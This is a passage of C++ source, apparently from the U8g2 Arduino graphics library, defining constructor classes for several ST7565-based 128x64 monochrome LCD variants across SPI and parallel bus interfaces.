u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_6800 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_F_8080 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6059_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6059_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6059_F_6800 : public U8G2 { public: U8G2_ST7565_LM6059_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_F_8080 : public U8G2 { public: U8G2_ST7565_LM6059_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_KS0713_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_KS0713_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_KS0713_F_6800 : public U8G2 { public: U8G2_ST7565_KS0713_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_F_8080 : public U8G2 { public: U8G2_ST7565_KS0713_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LX12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LX12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LX12864_F_6800 : public U8G2 { public: U8G2_ST7565_LX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_F_8080 : public U8G2 { public: U8G2_ST7565_LX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_F_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_F_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_F_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_NHD_C12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_NHD_C12864_F_6800 : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12864_F_8080 : public U8G2 { public: U8G2_ST7565_NHD_C12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_nhd_c12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_JLX12864_F_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_JLX12864_F_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_JLX12864_F_6800 : public U8G2 { public: U8G2_ST7565_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_JLX12864_F_8080 : public U8G2 { public: U8G2_ST7565_JLX12864_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_NHD_C12832_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_NHD_C12832_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, 